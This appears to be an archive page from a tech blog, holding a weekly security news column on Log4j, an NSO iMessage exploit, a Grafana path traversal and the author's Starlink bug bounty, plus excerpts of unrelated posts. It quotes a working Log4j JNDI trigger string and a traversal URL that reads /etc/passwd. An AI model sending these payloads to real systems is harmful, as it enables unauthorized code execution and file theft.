This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

December 17, 2021 by Jonathan Bennett 35 Comments

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets 1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms 2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms 3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms 4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception. Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

Vizio In Hot Water Over Smart TV GPL Violations

October 22, 2021 by Tom Nardi 70 Comments

As most anyone in this community knows, there’s an excellent chance that any consumer product on the market that’s advertised as “smart” these days probably has some form of Linux running under the hood. We’re also keenly aware that getting companies to hold up their end of the bargain when it comes to using Linux and other GPL licensed software in their products, namely releasing their modified source, isn’t always as cut and dried as it should be.

Occasionally these non-compliant companies will get somebody so aggravated that they actually try to do something about it, which is where smart TV manufacturer Vizio currently finds itself. The Software Freedom Conservancy (SFC) recently announced they’re taking the Irvine, California based company to court over their repeated failures to meet the requirements of the GPL while developing their Linux-powered SmartCast TV firmware. In addition to the Linux kernel, the SFC also claims Vizio is using modified versions of various other GPL and LGPL protected works, such as U-Boot, bash, gawk, tar, glibc, and ffmpeg.

According to the SFC press release, the group isn’t looking for any monetary damages. They simply want Vizio to do what’s required of them as per the GPL and release the SmartCast source code, which they hope will allow for the development of an OpenWrt-like replacement firmware for older Vizio smart TVs. This is particularly important as older models will often stop receiving updates, and in many cases, will no longer be able to access all of the services they were advertised as being able to support. Clearly the SFC wants this case to be looked at as part of the larger Right to Repair debate, and given the terrible firmware we’ve seen some of these smart TVs ship with, we’re inclined to agree.

Now of course, we’ve seen cases like this pop up in the past. But what makes this one unique is that the SFC isn’t representing one of the developers who’s software has been found to be part of Vizio’s SmartCast, they’re actually the plaintiff. By taking the position of a consumer who has purchased a Vizio product that included GPL software, the SFC is considered a third-party beneficiary, and they are merely asking the court to be given what’s due to them under the terms of the license.

As firm believers in the open source movement, we have zero tolerance for license violators. Vizio isn’t some wide-eyed teen, randomly copying code they found from GitHub without understanding the implications. This is a multi-billion dollar company that absolutely should know better, and we’ll be happy to see them twist in the wind a bit before they’re ultimately forced to play by the rules.

IC Shortage Keeps Linux Out Of Phone Charger, For Now

September 29, 2021 by Tom Nardi 21 Comments

We’ve been eagerly following the development of the WiFiWart for some time now, as a quad-core Cortex-A7 USB phone charger with dual WiFi interfaces that runs OpenWrt sounds exactly like the sort of thing we need in our lives. Unfortunately, we’ve just heard from [Walker] that progress on the project has been slowed down indefinitely by crippling chip shortages.

At this point, we’ve all heard how the chip shortage is impacting the big players out there. It makes sense that automakers are feeling the pressure, since they are buying literally millions of components at a clip. But stories like this are a reminder that even an individual’s hobby project can be sidelined by parts that are suddenly 40 times as expensive as they were when you first put them in your bill of materials.

In this particular case, [Walker] explains that a power management chip you could get on DigiKey for $1.20 USD a few months ago is now in such short supply that the best offer he’s found so far is $49.70 a pop from an electronics broker in Shenzhen. It sounds like he’s going to bite the bullet and buy the four of them (ouch) that he needs to build a working prototype, but obviously it’s a no go for production.

Luckily, it’s not all bad news. [Walker] has made some good progress on the power supply board, which will eventually join the diminutive computer inside the USB charger enclosure. Part of the trick is that the device is still supposed to be a functional USB charger, so in addition to 5 VDC for the output port, the power supply also needs to produce 1.1 V, 1.35 V, 2.5 V, 3.0 V, and 3.3 V for the computer. We’re glad to see he’s taking the high road with his mains circuitry, making sure to use UL listed components and maintaining proper isolation.

When we last checked in on the WiFiWart back in July, [Walker] had already managed to boot Linux on his over-sized prototype board. Now he’s got PCBs in hand that look far closer to the final size and shape necessary to tuck them into a phone charger. It’s a shame that the parts shortage is slowing down progress, but we’re confident we’ll at least get to see a one-off version of the WiFiWart powered up before the year is out.

This Week In Security: Ghoscript In Imagemagick, Solarwinds, And DHCP Shenanigans

September 10, 2021 by Jonathan Bennett 3 Comments

A PoC was just published for a potentially serious flaw in the Ghostscript interpreter. Ghostscript can load Postscript, PDF, and SVG, and it has a feature from Postscript that has been a continual security issue: the %pipe% command. This command requests the interpreter to spawn a new process — It’s RCE as part of the spec. This is obviously a problem for untrusted images and documents, and Ghostscript has fixed security vulnerabilities around this mis-feature several times over the years.

This particular vulnerability was discovered by [Emil Lerner], and described at ZeroNights X. That talk is available, but in Russian. The issue seems to be a bypass of sorts, where the pipe command appears to be working in the /tmp/ directory, but a simple semicolon allows for an arbitrary command to be executed. Now why is this a big deal? Because ImageMagick uses Ghostscript to open SVG images by default on some distributions, and ImageMagick is often used for automatically resizing and converting images for web sites. In [Emil]’s presentation, he uses this flaw as part of an attack chain against three different companies.

I was unable to reproduce the flaw on my Fedora install, but I haven’t found any notice of it being fixed in the Ghostscript or Imagemagick changelogs either. It’s unclear if this problem has already been fixed, or if this is a true 0-day for some platforms. Either way, expect attackers to start trying to make use of it.

Continue reading “This Week In Security: Ghoscript In Imagemagick, Solarwinds, And DHCP Shenanigans” →

This Week In Security: Updates, Leaks, Hacking Old Hardware, And Making New

June 18, 2021 by Jonathan Bennett 8 Comments

First off, Apple has issued an update for some very old devices. Well, vintage 2013, but that’s a long time in cell-phone years. Fixed are a trio of vulnerabilities, two of which are reported to be exploited in the wild. CVE-2021-30761 and CVE-2021-30762 are both flaws in Webkit, allowing for arbitrary code execution upon visiting a malicious website.

The third bug fixed is a very interesting one, CVE-2021-30737, memory corruption in the ASN.1 decoder. ASN.1 is a serialization format, used in a bunch of different crypto and telecom protocols, like the PKCS key exchange protocols. This bug was reported by [xerub], who showed off an attack against locked iPhone immediately after boot. Need to break into an old iPhone? Looks like there’s an exploit for that now. Continue reading “This Week In Security: Updates, Leaks, Hacking Old Hardware, And Making New” →

Starlink: A Review And Some Hacks

May 24, 2021 by Jonathan Bennett 130 Comments

I could probably be described as a SpaceX enthusiast. I catch their launches when I can, and I’ve watched the development of Starship with great interest. But the side-effect of SpaceX’s reusable launch system is that getting to space has become a lot cheaper. Having excess launch capacity means that space projects that were previously infeasible become suddenly at least plausible. One of those is Starlink.

Starlink is SpaceX’s satellite Internet service. Wireless and cellular internet have helped in some places, but if you really live out in the sticks, satellite internet is your only option. And while satellite Internet isn’t exactly new, Starlink is a bit different. Hughesnet, another provider, has a handful of satellites in geostationary orbit, which is about 22,000 miles above the earth. To quote Grace Hopper, holding a nearly foot-long length of wire representing a nanosecond, “Between here and the satellite, there are a very large number nanoseconds.”

SpaceX opted to do something a bit different. In what seemed like an insane pipe dream at the time, they planned to launch a satellite constellation of 12,000 birds, some of them flying as low as 214 mile altitude. The downside of flying so low is that they won’t stay in orbit as long, but SpaceX is launching them significantly faster than they’re coming down. So far, nearly 1,600 Starlink satellites are in orbit, in a criss-crossing pattern at 342 miles (550 km) up.

This hundred-fold difference in altitude matters. A Hughesnet connection has a minimum theoretical latency of 480 ms, and in reality runs closer to 600 ms. Starlink predicts a theoretical minimum of under 10 ms, though real-world performance isn’t quite that low yet. In the few weeks I’ve had the service, ping times have fallen from mid-60s down to 20s and 30s. The way Starlink works right now, data goes up to the closest satellite and directly back to the connected ground station. The long-term plan is to allow the satellites to talk directly to each other over laser links, skipping over the ground stations. Since the speed of light is higher in a vacuum than in a fiber-optic cable, the fully deployed system could potentially have lower latency than even fiber Internet, depending on the location of the endpoint and how many hops need to be made.

I got a Starlink setup, and have been trying out the beta service. Here’s my experience, and a bonus hack to boot.

Continue reading “Starlink: A Review And Some Hacks” →

Teardown: Creality Wi-Fi Box

December 28, 2020 by Tom Nardi 57 Comments

Creality, makers of the Ender series of 3D printers, have released a product called Wi-Fi Box meant to cheaply add network control to your printer. Naturally I had to order one so we could take a peek, but this is certainly not a product review. If you’re looking to control your 3D printer over the network, get yourself a Raspberry Pi and install Gina Häußge’s phenomenal OctoPrint on it. Despite what Creality might want you to believe, their product is little more than a poor imitation of this incredible open source project.

Even if you manage to get it working with your printer, which judging by early indications is a pretty big if, it won’t give you anywhere near the same experience. At best it’ll save you a few dollars compared to going the DIY route, but at the cost of missing out on the vibrant community of plugin developers that have helped establish OctoPrint as the defacto remote 3D printing solution.

That being said, the hardware itself seems pretty interesting. For just $20 USD you get a palm-sized Linux computer with WiFi, Ethernet, a micro SD slot, and a pair of USB ports; all wrapped up in a fairly rugged enclosure. There’s no video output, but that will hardly scare off the veteran penguin wrangler. Tucked in a corner and sipping down only a few watts, one can imagine plenty of tasks this little gadget would be well suited to. Perhaps it could act as a small MQTT broker for all your smart home devices, or a low-power remote weather station. The possibilities are nearly limitless, assuming we can get into the thing anyway.

So what’s inside the Creality Wi-Fi Box, and how hard will it be to bend it to our will? Let’s take one apart and find out.

Continue reading “Teardown: Creality Wi-Fi Box” →